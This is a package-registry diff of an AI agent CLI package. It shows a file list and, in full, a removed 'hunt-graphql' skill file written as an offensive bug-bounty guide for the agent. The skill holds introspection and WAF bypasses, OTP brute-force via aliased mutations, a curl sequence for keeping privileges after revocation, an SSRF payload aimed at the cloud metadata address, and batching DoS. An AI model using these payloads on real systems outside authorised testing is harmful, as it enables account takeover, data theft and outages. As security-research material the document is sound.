@hostclubeos/miraos 0.0.4-beta → 0.0.5-beta

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (147) hide show
  1. package/bundled/bug-hunter/SKILL.md +7 -0
  2. package/chunks/{acpAgent-F4OT4AQQ.js → acpAgent-UHWDA3W7.js} +2 -2
  3. package/chunks/{chunk-ECNTMKHI.js → chunk-2GVKPBW5.js} +1 -1
  4. package/chunks/{chunk-HPGUQCRQ.js → chunk-2TDRP3IX.js} +1 -1
  5. package/chunks/{chunk-C24YTZET.js → chunk-4IVYVCCU.js} +1 -1
  6. package/chunks/{chunk-CKBEAZAV.js → chunk-62DMHXLL.js} +1 -1
  7. package/chunks/{chunk-AYU4PDSQ.js → chunk-744QTJR2.js} +2 -2
  8. package/chunks/{chunk-4XV2522J.js → chunk-D3YOXHQF.js} +1 -1
  9. package/chunks/{chunk-5SJFYZQJ.js → chunk-FRADUGRC.js} +1 -1
  10. package/chunks/{chunk-WDLXS4A3.js → chunk-FXANOHXI.js} +3 -3
  11. package/chunks/{chunk-JM46SKXF.js → chunk-MQWKOOSR.js} +1 -1
  12. package/chunks/{chunk-4TJKJ2LG.js → chunk-MUS4ADP7.js} +1 -1
  13. package/chunks/{chunk-FUIRLSNA.js → chunk-N4RIISOE.js} +1 -1
  14. package/chunks/{chunk-PUPIORBU.js → chunk-NKWATWMD.js} +1 -1
  15. package/chunks/{chunk-7LXU4NUI.js → chunk-NYM67KKZ.js} +1 -1
  16. package/chunks/{chunk-TIWH3MUJ.js → chunk-PXBJPUGN.js} +1 -1
  17. package/chunks/{chunk-LISKSG7B.js → chunk-QEIX42MZ.js} +1 -1
  18. package/chunks/{chunk-BZMSTSKY.js → chunk-RKFNQQNA.js} +1 -1
  19. package/chunks/{chunk-AXBNQS6C.js → chunk-SK3QOQR4.js} +1 -1
  20. package/chunks/{chunk-33G7MOU6.js → chunk-XZNF4YNN.js} +1 -1
  21. package/chunks/{daemon-status-provider-NBPLE4JN.js → daemon-status-provider-F6KB2LNG.js} +1 -1
  22. package/chunks/{fast-path-66F2TWKE.js → fast-path-DWPD5EGQ.js} +1 -1
  23. package/chunks/{llm-LZ3HARC2.js → llm-RBI7KXDE.js} +3 -3
  24. package/chunks/{local-6KBSW7N2.js → local-HSG47CNJ.js} +1 -1
  25. package/chunks/{managed-local-serve-2N3IAB3D.js → managed-local-serve-YE4JDFNP.js} +1 -1
  26. package/chunks/{managed-runtime-bootstrap-M4P43K7W.js → managed-runtime-bootstrap-SHEXUEZN.js} +1 -1
  27. package/chunks/{managed-runtime-ssh-worker-WWZ7SJ7U.js → managed-runtime-ssh-worker-BZNJV7IB.js} +1 -1
  28. package/chunks/{memory-D62BXIJW.js → memory-JTDN5AEA.js} +1 -1
  29. package/chunks/{nonInteractiveCli-Z4A7THMG.js → nonInteractiveCli-BXHX6EIU.js} +1 -1
  30. package/chunks/{review-LM7KW6Y5.js → review-PC4IDLCG.js} +1 -1
  31. package/chunks/{run-qwen-serve-77UZS4JA.js → run-qwen-serve-XRWVWOZK.js} +1 -1
  32. package/chunks/{serve-RHO7RZ45.js → serve-JCUT4WK7.js} +1 -1
  33. package/chunks/{server-5HEOZG3T.js → server-HMTRZJF7.js} +1 -1
  34. package/chunks/{session-RT7VH6GE.js → session-RGLZU6KY.js} +1 -1
  35. package/chunks/{start-opentui-ui-I2XXWTJS.js → start-opentui-ui-YNTPK7LX.js} +1 -1
  36. package/chunks/{startInteractiveUI-774LJIJD.js → startInteractiveUI-MWA2VYTJ.js} +1 -1
  37. package/chunks/{validateNonInterActiveAuth-633WYCVH.js → validateNonInterActiveAuth-3433WFLE.js} +1 -1
  38. package/chunks/{version-77KBVA2F.js → version-XCFKTEY3.js} +1 -1
  39. package/cli.js +1 -1
  40. package/package.json +2 -2
  41. package/bundled/bug-hunter/references/apk-redteam-pipeline/SKILL.md +0 -407
  42. package/bundled/bug-hunter/references/bb-local-toolkit/SKILL.md +0 -1558
  43. package/bundled/bug-hunter/references/bb-methodology/SKILL.md +0 -513
  44. package/bundled/bug-hunter/references/bug-bounty/SKILL.md +0 -1604
  45. package/bundled/bug-hunter/references/bugcrowd-reporting/SKILL.md +0 -331
  46. package/bundled/bug-hunter/references/cloud-iam-deep/SKILL.md +0 -521
  47. package/bundled/bug-hunter/references/enterprise-vpn-attack/SKILL.md +0 -356
  48. package/bundled/bug-hunter/references/evidence-hygiene/SKILL.md +0 -401
  49. package/bundled/bug-hunter/references/exploit-completion/SKILL.md +0 -155
  50. package/bundled/bug-hunter/references/hunt-api-misconfig/SKILL.md +0 -268
  51. package/bundled/bug-hunter/references/hunt-aspnet/SKILL.md +0 -277
  52. package/bundled/bug-hunter/references/hunt-ato/SKILL.md +0 -140
  53. package/bundled/bug-hunter/references/hunt-auth-bypass/SKILL.md +0 -449
  54. package/bundled/bug-hunter/references/hunt-brute-force/SKILL.md +0 -297
  55. package/bundled/bug-hunter/references/hunt-business-logic/SKILL.md +0 -237
  56. package/bundled/bug-hunter/references/hunt-cache-poison/SKILL.md +0 -338
  57. package/bundled/bug-hunter/references/hunt-captcha-bypass/SKILL.md +0 -92
  58. package/bundled/bug-hunter/references/hunt-cicd/SKILL.md +0 -267
  59. package/bundled/bug-hunter/references/hunt-clickjacking/SKILL.md +0 -66
  60. package/bundled/bug-hunter/references/hunt-cloud-misconfig/SKILL.md +0 -195
  61. package/bundled/bug-hunter/references/hunt-cors/SKILL.md +0 -291
  62. package/bundled/bug-hunter/references/hunt-csrf/SKILL.md +0 -374
  63. package/bundled/bug-hunter/references/hunt-deserialization/SKILL.md +0 -178
  64. package/bundled/bug-hunter/references/hunt-dispatch/SKILL.md +0 -380
  65. package/bundled/bug-hunter/references/hunt-dom/SKILL.md +0 -279
  66. package/bundled/bug-hunter/references/hunt-exceptional-conditions/SKILL.md +0 -67
  67. package/bundled/bug-hunter/references/hunt-file-upload/SKILL.md +0 -158
  68. package/bundled/bug-hunter/references/hunt-fintech-graphql/SKILL.md +0 -245
  69. package/bundled/bug-hunter/references/hunt-forgot-password/SKILL.md +0 -70
  70. package/bundled/bug-hunter/references/hunt-graphql/SKILL.md +0 -368
  71. package/bundled/bug-hunter/references/hunt-grpc/SKILL.md +0 -273
  72. package/bundled/bug-hunter/references/hunt-host-header/SKILL.md +0 -265
  73. package/bundled/bug-hunter/references/hunt-html-injection/SKILL.md +0 -62
  74. package/bundled/bug-hunter/references/hunt-http-smuggling/SKILL.md +0 -87
  75. package/bundled/bug-hunter/references/hunt-idor/SKILL.md +0 -389
  76. package/bundled/bug-hunter/references/hunt-jwt-crypto/SKILL.md +0 -177
  77. package/bundled/bug-hunter/references/hunt-k8s/SKILL.md +0 -293
  78. package/bundled/bug-hunter/references/hunt-laravel/SKILL.md +0 -211
  79. package/bundled/bug-hunter/references/hunt-ldap/SKILL.md +0 -307
  80. package/bundled/bug-hunter/references/hunt-lfi/SKILL.md +0 -266
  81. package/bundled/bug-hunter/references/hunt-llm-ai/SKILL.md +0 -245
  82. package/bundled/bug-hunter/references/hunt-mfa-bypass/SKILL.md +0 -134
  83. package/bundled/bug-hunter/references/hunt-misc/SKILL.md +0 -333
  84. package/bundled/bug-hunter/references/hunt-nextjs/SKILL.md +0 -255
  85. package/bundled/bug-hunter/references/hunt-nodejs/SKILL.md +0 -219
  86. package/bundled/bug-hunter/references/hunt-nosqli/SKILL.md +0 -166
  87. package/bundled/bug-hunter/references/hunt-ntlm-info/SKILL.md +0 -270
  88. package/bundled/bug-hunter/references/hunt-oauth/SKILL.md +0 -414
  89. package/bundled/bug-hunter/references/hunt-open-redirect/SKILL.md +0 -179
  90. package/bundled/bug-hunter/references/hunt-race-condition/SKILL.md +0 -485
  91. package/bundled/bug-hunter/references/hunt-rag-vector/SKILL.md +0 -167
  92. package/bundled/bug-hunter/references/hunt-rce/SKILL.md +0 -494
  93. package/bundled/bug-hunter/references/hunt-saml/SKILL.md +0 -112
  94. package/bundled/bug-hunter/references/hunt-session/SKILL.md +0 -298
  95. package/bundled/bug-hunter/references/hunt-shadow-api/SKILL.md +0 -153
  96. package/bundled/bug-hunter/references/hunt-sharepoint/SKILL.md +0 -437
  97. package/bundled/bug-hunter/references/hunt-source-leak/SKILL.md +0 -301
  98. package/bundled/bug-hunter/references/hunt-spa-api/SKILL.md +0 -123
  99. package/bundled/bug-hunter/references/hunt-springboot/SKILL.md +0 -241
  100. package/bundled/bug-hunter/references/hunt-sqli/SKILL.md +0 -422
  101. package/bundled/bug-hunter/references/hunt-ssrf/SKILL.md +0 -514
  102. package/bundled/bug-hunter/references/hunt-ssti/SKILL.md +0 -117
  103. package/bundled/bug-hunter/references/hunt-subdomain/SKILL.md +0 -335
  104. package/bundled/bug-hunter/references/hunt-tls-network/SKILL.md +0 -355
  105. package/bundled/bug-hunter/references/hunt-websocket/SKILL.md +0 -285
  106. package/bundled/bug-hunter/references/hunt-xss/SKILL.md +0 -450
  107. package/bundled/bug-hunter/references/hunt-xxe/SKILL.md +0 -422
  108. package/bundled/bug-hunter/references/ios-redteam-pipeline/SKILL.md +0 -287
  109. package/bundled/bug-hunter/references/m365-entra-attack/SKILL.md +0 -384
  110. package/bundled/bug-hunter/references/meme-coin-audit/SKILL.md +0 -358
  111. package/bundled/bug-hunter/references/mid-engagement-ir-detection/SKILL.md +0 -353
  112. package/bundled/bug-hunter/references/offensive-osint/README.md +0 -98
  113. package/bundled/bug-hunter/references/offensive-osint/SKILL.md +0 -399
  114. package/bundled/bug-hunter/references/offensive-osint/references/breach-and-credentials.md +0 -128
  115. package/bundled/bug-hunter/references/offensive-osint/references/dork-corpus.md +0 -180
  116. package/bundled/bug-hunter/references/offensive-osint/references/helpers-and-automation.md +0 -231
  117. package/bundled/bug-hunter/references/offensive-osint/references/identity-fabric.md +0 -305
  118. package/bundled/bug-hunter/references/offensive-osint/references/people-osint.md +0 -105
  119. package/bundled/bug-hunter/references/offensive-osint/references/probes-and-wordlists.md +0 -1266
  120. package/bundled/bug-hunter/references/offensive-osint/references/recon-stack.md +0 -282
  121. package/bundled/bug-hunter/references/offensive-osint/references/recon-techniques.md +0 -341
  122. package/bundled/bug-hunter/references/offensive-osint/references/saas-public-surfaces.md +0 -138
  123. package/bundled/bug-hunter/references/offensive-osint/references/secret-patterns.md +0 -67
  124. package/bundled/bug-hunter/references/offensive-osint/references/secret-validators.md +0 -329
  125. package/bundled/bug-hunter/references/offensive-osint/references/sector-notes.md +0 -72
  126. package/bundled/bug-hunter/references/offensive-osint/references/severity-matrix.md +0 -108
  127. package/bundled/bug-hunter/references/offensive-osint/references/specialized-osint.md +0 -199
  128. package/bundled/bug-hunter/references/offensive-osint/references/tooling-install.md +0 -188
  129. package/bundled/bug-hunter/references/offensive-osint/scripts/assets/FONT-LICENSE.txt +0 -13
  130. package/bundled/bug-hunter/references/offensive-osint/scripts/assets/archivo-black.woff2 +0 -0
  131. package/bundled/bug-hunter/references/offensive-osint/scripts/dashboard.py +0 -968
  132. package/bundled/bug-hunter/references/offensive-osint/scripts/h1_reference.py +0 -402
  133. package/bundled/bug-hunter/references/offensive-osint/scripts/secret_scan.py +0 -180
  134. package/bundled/bug-hunter/references/okta-attack/SKILL.md +0 -397
  135. package/bundled/bug-hunter/references/osint-methodology/README.md +0 -66
  136. package/bundled/bug-hunter/references/osint-methodology/SKILL.md +0 -1704
  137. package/bundled/bug-hunter/references/recon-scope-triage/SKILL.md +0 -89
  138. package/bundled/bug-hunter/references/redteam-mindset/SKILL.md +0 -401
  139. package/bundled/bug-hunter/references/redteam-report-template/SKILL.md +0 -347
  140. package/bundled/bug-hunter/references/regression-hunting/SKILL.md +0 -98
  141. package/bundled/bug-hunter/references/report-writing/SKILL.md +0 -568
  142. package/bundled/bug-hunter/references/security-arsenal/SKILL.md +0 -912
  143. package/bundled/bug-hunter/references/supply-chain-attack-recon/SKILL.md +0 -648
  144. package/bundled/bug-hunter/references/triage-validation/SKILL.md +0 -418
  145. package/bundled/bug-hunter/references/vmware-vcenter-attack/SKILL.md +0 -372
  146. package/bundled/bug-hunter/references/web2-recon/SKILL.md +0 -698
  147. package/bundled/bug-hunter/references/web3-audit/SKILL.md +0 -606
@@ -1,368 +0,0 @@
1
- ---
2
- name: hunt-graphql
3
- description: Hunting skill for graphql vulnerabilities. Built from 12 public bug bounty reports across IDOR via node() / GID, mutation IDOR including AI/LLM features, cross-tenant IDOR, SSRF via argument, batching-DoS, query-cost-bypass, SQLi via argument, broken-object-level-authz, auth-bypass via unscoped mutations, and PII exposure from missing field-level authz. Use when hunting graphql on any target.
4
- sources: hackerone_public, github, gitlab_security
5
- report_count: 26
6
- ---
7
-
8
- ## Crown Jewel Targets
9
-
10
- GraphQL vulnerabilities are high-value because the attack surface is both broad and deep — a single endpoint can expose entire data models, privilege escalation paths, and cross-API state confusion. Highest payouts occur in:
11
-
12
- - **Platform APIs** (GitHub, Shopify, Stripe-tier targets) where GraphQL mutations interact with REST APIs managing the same resources
13
- - **Race conditions between GraphQL mutations and REST endpoints** where state synchronization is non-atomic — these hit medium-to-high severity reliably
14
- - **Authorization persistence bugs** where team/org/repo membership state is controlled by one API but readable/writable by another
15
- - **B2B SaaS platforms** where one tenant affecting another via schema traversal = critical
16
- - **Internal admin GraphQL endpoints** accidentally exposed to lower-privilege users
17
-
18
- The GitHub reports demonstrate the crown jewel pattern: **privilege that should be revoked persists because two APIs disagree on ground truth**.
19
-
20
- ---
21
-
22
- ## Attack Surface Signals
23
-
24
- **URL Patterns:**
25
- ```
26
- /graphql
27
- /api/graphql
28
- /v1/graphql
29
- /query
30
- /gql
31
- /graph
32
- /api/v2/graphql
33
- /internal/graphql
34
- ```
35
-
36
- **Response Headers:**
37
- ```
38
- Content-Type: application/json (with query body)
39
- X-Request-Id + no REST-style path params = likely GraphQL
40
- ```
41
-
42
- **JavaScript Source Patterns:**
43
- ```js
44
- // grep for these in JS bundles
45
- "query {"
46
- "mutation {"
47
- "__typename"
48
- "apollo"
49
- "ApolloClient"
50
- "graphql-tag"
51
- "gql`"
52
- "operationName"
53
- "GRAPHQL_URI"
54
- ```
55
-
56
- **Tech Stack Signals:**
57
- - Apollo Server/Client in JS bundles
58
- - Relay in React apps
59
- - `graphene` or `strawberry` (Python), `graphql-ruby`, `gqlgen` (Go), `Lighthouse` (Laravel)
60
- - POST requests with `{"query": "..."}` body shape in Burp history
61
- - `__schema` or `__type` in any response = confirmed GraphQL
62
-
63
- **Recon Sources:**
64
- - `github.com` search: `"graphql" site:target.com`
65
- - Wayback Machine for `/graphql` paths
66
- - JS bundle scanning with `LinkFinder` or `getallurls`
67
-
68
- ---
69
-
70
- ## Step-by-Step Hunting Methodology
71
-
72
- 1. **Discover the endpoint** — spider JS bundles, check `/graphql`, `/api/graphql`, review Burp passive scan hits for `application/json` POST with query fields
73
-
74
- 2. **Test introspection** — send the full introspection query. Even if blocked, try field-level enumeration:
75
- ```graphql
76
- { __typename }
77
- ```
78
- If that returns, introspection may be partially blocked but the schema is discoverable
79
-
80
- 3. **Map the full schema** — use `InQL` (Burp extension) or `graphql-voyager` to visualize relationships. Specifically look for:
81
- - Mutations that modify ownership, permissions, or membership
82
- - Mutations that mirror REST API functionality
83
-
84
- 4. **Identify REST/GraphQL overlap** — document every resource that can be modified via BOTH REST and GraphQL. These dual-write surfaces are your RC targets.
85
-
86
- 5. **Test authorization boundaries per mutation** — replay mutations as lower-privilege users. Does the server enforce the same authz as the equivalent REST call?
87
-
88
- 6. **Hunt cross-API state desync** — find sequences where:
89
- - REST action should revoke access
90
- - GraphQL mutation re-grants or preserves it
91
- - Test the ordering: REST first → GraphQL → check state; then GraphQL first → REST → check state
92
-
93
- 7. **Test for persistent privilege after role/membership changes** — remove a user via REST, then call the corresponding GraphQL mutation for that resource. Query current state via both APIs and compare.
94
-
95
- 8. **Probe for IDOR in node IDs** — GraphQL global IDs often encode object type + ID. Swap IDs across object boundaries and across account contexts.
96
-
97
- 9. **Check batch query abuse** — send arrays of operations to bypass rate limiting or amplify enumeration.
98
-
99
- 10. **Document the exact reproduction chain** — for RC bugs, time-based steps must be reproducible deterministically.
100
-
101
- ---
102
-
103
- ## Payload & Detection Patterns
104
-
105
- **Full Introspection Query:**
106
- ```graphql
107
- {
108
- __schema {
109
- types {
110
- name
111
- fields {
112
- name
113
- type {
114
- name
115
- kind
116
- }
117
- }
118
- }
119
- }
120
- }
121
- ```
122
-
123
- **Minimal Introspection Probe (bypass attempt):**
124
- ```graphql
125
- { __typename }
126
- ```
127
-
128
- **curl introspection test:**
129
- ```bash
130
- curl -s -X POST https://target.com/graphql \
131
- -H "Content-Type: application/json" \
132
- -H "Authorization: Bearer YOUR_TOKEN" \
133
- -d '{"query":"{ __schema { queryType { name } } }"}' | jq .
134
- ```
135
-
136
- **Field suggestion probe (bypass blind introspection blocks):**
137
- ```graphql
138
- { unknownField }
139
- ```
140
- If response returns `"Did you mean: [realFieldName]?"` — schema is enumerable despite introspection being disabled.
141
-
142
- **Batch query amplification:**
143
- ```json
144
- [
145
- {"query": "{ user(id: 1) { email } }"},
146
- {"query": "{ user(id: 2) { email } }"},
147
- {"query": "{ user(id: 3) { email } }"}
148
- ]
149
- ```
150
-
151
- **Subscription hijacking (cross-user channel access):**
152
- ```graphql
153
- subscription { messageAdded(channelId: "OTHER_USERS_CHANNEL") { content sender { email } } }
154
- ```
155
- If subscriptions lack per-user scoping, an attacker can receive real-time events from another user's channel or conversation.
156
-
157
- **Multi-code OTP/2FA brute-force via alias batching:**
158
- ```graphql
159
- mutation {
160
- v1: verifyOtp(code:"000001"){token}
161
- v2: verifyOtp(code:"000002"){token}
162
- v3: verifyOtp(code:"000003"){token}
163
- }
164
- ```
165
- A single GraphQL request aliases the same mutation with different OTP codes. Combined with parallel HTTP, this defeats per-request rate limiting and compresses brute-force attempts into fewer network round-trips.
166
-
167
- **RC desync test pattern (pseudo-sequence):**
168
- ```bash
169
- # Step 1: Grant access via REST
170
- curl -X PUT https://api.target.com/repos/ORG/REPO/teams/TEAM \
171
- -H "Authorization: token ADMIN_TOKEN" \
172
- -d '{"permission":"admin"}'
173
-
174
- # Step 2: Revoke via REST
175
- curl -X DELETE https://api.target.com/repos/ORG/REPO/teams/TEAM \
176
- -H "Authorization: token ADMIN_TOKEN"
177
-
178
- # Step 3: Re-assert via GraphQL mutation
179
- curl -X POST https://api.target.com/graphql \
180
- -H "Authorization: bearer ATTACKER_TOKEN" \
181
- -d '{"query":"mutation { updateTeamsRepository(input: {repositoryId: \"REPO_ID\", teamId: \"TEAM_ID\", permission: ADMIN}) { clientMutationId } }"}'
182
-
183
- # Step 4: Verify persistent access
184
- curl https://api.target.com/repos/ORG/REPO/teams \
185
- -H "Authorization: token ADMIN_TOKEN"
186
- ```
187
-
188
- **Grep for GraphQL in JS bundles:**
189
- ```bash
190
- grep -Eo '(query|mutation|subscription)\s+\w+\s*[\({]' bundle.js
191
- grep -Eo '"(/[a-z0-9/_-]*graphql[a-z0-9/_-]*)"' bundle.js
192
- ```
193
-
194
- **GraphQL introspection & audit tooling:**
195
- ```bash
196
- # InQL (Burp extension) — visualize GraphQL schema and relationships
197
- inql -t https://target/graphql --generate-queries
198
-
199
- # Clairvoyance — brute-force field names when introspection is disabled
200
- python3 clairvoyance.py -u https://target/graphql -H "Authorization: Bearer TOKEN" -w wordlist.txt -o schema.json
201
-
202
- # GraphQL Cop — scan for common misconfigurations (introspection enabled, no depth limits, etc.)
203
- graphql-cop -t https://target/graphql
204
- ```
205
-
206
- ---
207
-
208
- ## Common Root Causes
209
-
210
- 1. **Dual-write without atomic locking** — developers implement the same resource modification in both REST and GraphQL independently. Neither system is aware the other exists for that resource. State updates aren't serialized or compared.
211
-
212
- 2. **Inconsistent authorization middleware** — REST endpoints go through one auth layer (e.g., middleware chain), GraphQL resolvers go through a different resolver-level check. The same action, different enforcement.
213
-
214
- 3. **GraphQL as "new REST" migration** — teams add GraphQL mutations that mirror REST functionality without auditing the permission model. The GraphQL version is less mature and skips checks the REST version accumulated over time.
215
-
216
- 4. **Introspection left on in production** — default framework settings (Apollo, Graphene) enable introspection in all environments. Developers forget to disable it, treating it as "just documentation."
217
-
218
- 5. **Node ID trust without re-authorization** — GraphQL global IDs (`base64("ObjectType:123")`) are decoded and trusted without verifying the requesting user has access to that specific object.
219
-
220
- 6. **Mutation side effects not mirrored** — when a REST action triggers cascading effects (e.g., team removal cascades to permission revocation), the GraphQL equivalent mutation doesn't trigger the same cascades.
221
-
222
- ---
223
-
224
- ## Bypass Techniques
225
-
226
- **Defense: Introspection disabled**
227
- - Bypass via field suggestion errors — send invalid field names and parse "did you mean X?" responses
228
- - Use `clairvoyance` to brute-force field names against a wordlist
229
- - Check JS bundles for hardcoded query strings that reveal the schema
230
-
231
- **Defense: Depth limiting**
232
- - Fragment spread to increase effective depth without hitting the limiter:
233
- ```graphql
234
- fragment F on User { repos { teams { members { ...F } } } }
235
- ```
236
-
237
- **Defense: Rate limiting per IP**
238
- - Use batch operations (array of queries in one POST)
239
- - Distribute across authenticated sessions
240
-
241
- **Defense: Auth checks on mutations**
242
- - Test with tokens at different privilege tiers (viewer, member, admin)
243
- - Test unauthenticated — some mutations don't check session at all
244
- - Test with tokens from *different organizations* — multi-tenant IDOR
245
-
246
- **Defense: WAF blocking `__schema`**
247
- - Alias the introspection field:
248
- ```graphql
249
- { s: __schema { t: types { n: name } } }
250
- ```
251
- - Use HTTP parameter pollution or alternate content-type headers
252
-
253
- **Defense: Operation whitelisting (persisted queries)**
254
- - Check if the server falls back to ad-hoc queries when the `extensions.persistedQuery` hash mismatches
255
- - Look for a non-whitelisted endpoint (dev, staging, internal proxy)
256
-
257
- ### Alias batching: when it wins races vs when it doesn't
258
-
259
- A common claim is "alias batching defeats per-user rate limits and double-spend protections." Whether this actually wins depends on the **resolver execution model**:
260
-
261
- | Resolver type | Behavior on aliased mutations | Alias batching wins races? |
262
- |---|---|---|
263
- | Multi-threaded / `DataLoader`-batched async | Aliases run concurrently, share state via batch | **YES** — single HTTP request can amplify a race-target N times |
264
- | Single-threaded / single-DB-connection per request | Aliases run serially; first mutation closes the door | **NO** — combine with parallel HTTP |
265
- | Distributed gateway (Apollo Federation) | Sub-queries dispatched concurrently to subgraphs | Depends on each subgraph |
266
-
267
- **Verification example (single-threaded Flask + SQLite resolver):**
268
- - 10 aliased `redeemCoupon` mutations in one request → only `r1` succeeds, r2-r10 fail with `already_redeemed`. Alias batching alone is insufficient.
269
- - The same 10 mutations as **20 parallel HTTP POSTs** → 20 successes ($2000 from a $100 coupon).
270
-
271
- **Operator rule:** treat alias batching as a single-RTT recon primitive. For race-target exploitation, combine with `hunt-race-condition`'s parallel-HTTP / Turbo Intruder single-packet attack. Verified in `docs/verification/phase2e-jwt-graphql-race.md` Test 11 vs Test 12.
272
-
273
- ---
274
-
275
- ## Gate 0 Validation
276
-
277
- 1. **What can the attacker DO right now?**
278
- Must be a concrete action: access data they shouldn't see, retain privileges after revocation, modify another user's resources. "The schema is visible" alone is not enough — what does the schema unlock?
279
-
280
- 2. **What does the victim LOSE?**
281
- Must be a real asset: data confidentiality, access control integrity, org security guarantees. For the RC pattern: an org admin loses the guarantee that removing a team revokes all access. That's a security contract violation.
282
-
283
- 3. **Can it be reproduced in 10 minutes from scratch?**
284
- For RC/desync bugs: write the exact curl sequence. Run it twice. If the privilege persists deterministically (not timing-dependent flakiness), it's reportable. If it requires millisecond timing luck, document the window and test on low-load times.
285
-
286
- ---
287
-
288
- ## Real Impact Examples
289
-
290
- **Scenario A — Covert Persistent Admin After Team Removal (GitHub-pattern)**
291
- An attacker who legitimately had admin access to a repository via team membership gets removed by the org admin through the REST API. The attacker, before removal completes, calls the `updateTeamsRepository` GraphQL mutation to re-associate their team with admin permissions. The REST removal and GraphQL re-grant create a desync where the UI shows the team as removed, but the GraphQL state preserves admin-level access. The attacker retains covert write access to the repository indefinitely — pushing code, reading secrets in CI/CD — without appearing in the team's member list. This persists through org audits.
292
-
293
- **Scenario B — Covert Access via Repo Transfer Race (GitHub-pattern)**
294
- An attacker with admin access initiates a repository transfer to another organization via the REST API. During or after the transfer, they invoke `updateTeamsRepository` on the now-transferred repo's ID. Because the GraphQL mutation doesn't validate current org ownership state consistently with the REST transfer event, the original attacker's team retains admin access on a repo now owned by a different organization. The receiving org has no visibility into this team association. The attacker can exfiltrate intellectual property from an org they have no legitimate relationship with.
295
-
296
- **Scenario C — Introspection as Reconnaissance Prerequisite (Shopify-pattern)**
297
- On a platform where introspection is intentionally enabled (per-program rules), a hunter maps the full schema and discovers undocumented mutations for `fulfillmentOrderMove` and `inventoryAdjust` that are not surfaced in public docs. These mutations accept merchant IDs as arguments with no scoping validation visible in the schema. This recon directly enables targeted IDOR testing against merchant-to-merchant data isolation — the introspection itself is zero-severity, but it is the entry point to critical findings.
298
-
299
- ---
300
-
301
- ## Disclosed Report Citations (Backfill +9 — 2019-2024)
302
-
303
- The following real, verified bug-bounty / coordinated-disclosure cases extend this skill beyond the original 3 internal references. Each is a distinct GraphQL subclass with a working PoC documented in the cited writeup.
304
-
305
- 4. **HackerOne — Confidential user-data exposure via GraphQL `User` type** ([H1 #489146](https://hackerone.com/reports/489146))
306
- - Subclass: broken field-level authorization (PII exposure)
307
- - Payload: direct `user(id:...)` query returning `email`, `backup_codes_hash`, `facebook_user_id`, `account_recovery_phone_number_verified_at`, `totp_enabled`
308
- - Root cause: backend migration introduced a GraphQL `User` type with no field-level authz; any authenticated user could enumerate PII of all users
309
- - Year: 2019 — **$20,000**, 1,028 upvotes
310
-
311
- 5. **HackerOne — `DestroyLlmConversation` mutation IDOR (Copilot pre-release)** ([H1 #2218334](https://hackerone.com/reports/2218334))
312
- - Subclass: mutation IDOR on AI/LLM feature
313
- - Payload: `mutation { destroyLlmConversation(input:{id:"<victim_conv_id>"}) { … } }`
314
- - Root cause: new LLM-conversation mutation shipped without authorization decorator; any user could destroy any conversation
315
- - Year: 2023 — caught pre-launch, no bounty (202 upvotes)
316
-
317
- 6. **Shopify — `BillingDocumentDownload` cross-tenant IDOR** ([H1 #2207248](https://hackerone.com/reports/2207248))
318
- - Subclass: IDOR on relay GID across tenants
319
- - Payload: `query { billingDocumentDownload(id:"gid://shopify/BillingInvoice/<other_shop_id>") { url } }`
320
- - Root cause: `BillingInvoice` resolver authorized the requester's shop but did not verify the invoice belonged to that shop
321
- - Year: 2024 — **$5,000**, 175 upvotes
322
-
323
- 7. **Shopify — Rate-limit bypass via negative cost** ([H1 #481518](https://hackerone.com/reports/481518))
324
- - Subclass: query-cost-calc abuse (sibling pattern to alias batching)
325
- - Payload: `query { products(first:-100) { … } }` — negative `first` produced a negative query-cost contribution, refilling the leaky-bucket each call
326
- - Root cause: query-cost calculator did not floor at zero; negative values subtracted from the consumed budget
327
- - Year: 2019 — **$1,000**
328
-
329
- 8. **Stripe — Cross-tenant IDOR via `UpdateAtlasApplicationPerson`** ([H1 #1066203](https://hackerone.com/reports/1066203))
330
- - Subclass: cross-tenant IDOR on mutation
331
- - Payload: `mutation { updateAtlasApplicationPerson(input:{personId:"<victim_person_id>", …}) }` — adding/modifying a co-founder on another merchant's Stripe Atlas application
332
- - Root cause: mutation scoped only to "is admin of some merchant," not "is admin of the merchant owning this person"
333
- - Year: 2020 — bounty undisclosed (resolved)
334
-
335
- 9. **EXNESS — SSRF in GraphQL `allTicks` query** ([H1 #1864188](https://hackerone.com/reports/1864188))
336
- - Subclass: SSRF via GraphQL argument
337
- - Payload: `query { allTicks(source:"http://169.254.169.254/latest/meta-data/") { … } }` — `source` arg fed into a server-side HTTP client
338
- - Root cause: GraphQL field accepted a URL arg and dereferenced it without scheme/host allowlist
339
- - Year: 2023 — **$3,000**, 249 upvotes
340
-
341
- 10. **EXNESS — GraphQL attribute-batching DoS** ([H1 #2293642](https://hackerone.com/reports/2293642))
342
- - Subclass: DoS via batching / deep-attribute amplification on unauth endpoint
343
- - Payload: single HTTP request containing N batched operations, each requesting deeply nested attribute trees, sustained until origin OOM
344
- - Root cause: no query-depth, query-complexity, or batch-size limits on unauthenticated `/graphql`
345
- - Year: 2024 — bounty undisclosed (resolved)
346
-
347
- 11. **GitLab — Malicious-runner attach via `runnerUpdate` (CVE-2023-2478)** ([Advisory](https://about.gitlab.com/releases/2023/05/05/critical-security-release-gitlab-15-11-2-released/))
348
- - Subclass: auth bypass on mutation / project-scope missing
349
- - Payload: `mutation { runnerUpdate(input:{id:"<attacker_runner_gid>", associatedProjects:["<victim_project_gid>"]}) }`
350
- - Root cause: `runnerUpdate` did not check that the caller had Maintainer on the target project — any user could bind their malicious runner and intercept CI jobs (build secrets, code execution)
351
- - Year: 2023 — Critical, CVSS 9.6 (H1 bounty undisclosed; GitLab Critical-tier typically $20k–$35k)
352
-
353
- 12. **AS Watson — Auth bypass via unrestricted `createAdminUser` mutation** ([HackerOne blog](https://www.hackerone.com/blog/how-graphql-bug-resulted-authentication-bypass))
354
- - Subclass: sensitive mutation reachable without authentication (introspection-aided discovery)
355
- - Payload: `mutation { createAdminUser(input:{email:"x@x", role:"ADMIN", password:"…"}) { token } }` invoked unauthenticated after schema enumeration via introspection
356
- - Root cause: schema lacked per-field authorization directives; `createAdminUser` exposed to public role
357
- - Year: 2023 — "Best Bug" prize at HackerOne Ambassador World Cup
358
-
359
- ---
360
-
361
- ## Related Skills & Chains
362
-
363
- - **`hunt-idor`** — GraphQL `node(id:)` and global-relay-ID resolvers are IDOR factories: same shape, no scoping. Chain primitive: GraphQL introspection + IDOR (`node()` resolver) → cross-tenant data via base64-decoded type:id replay.
364
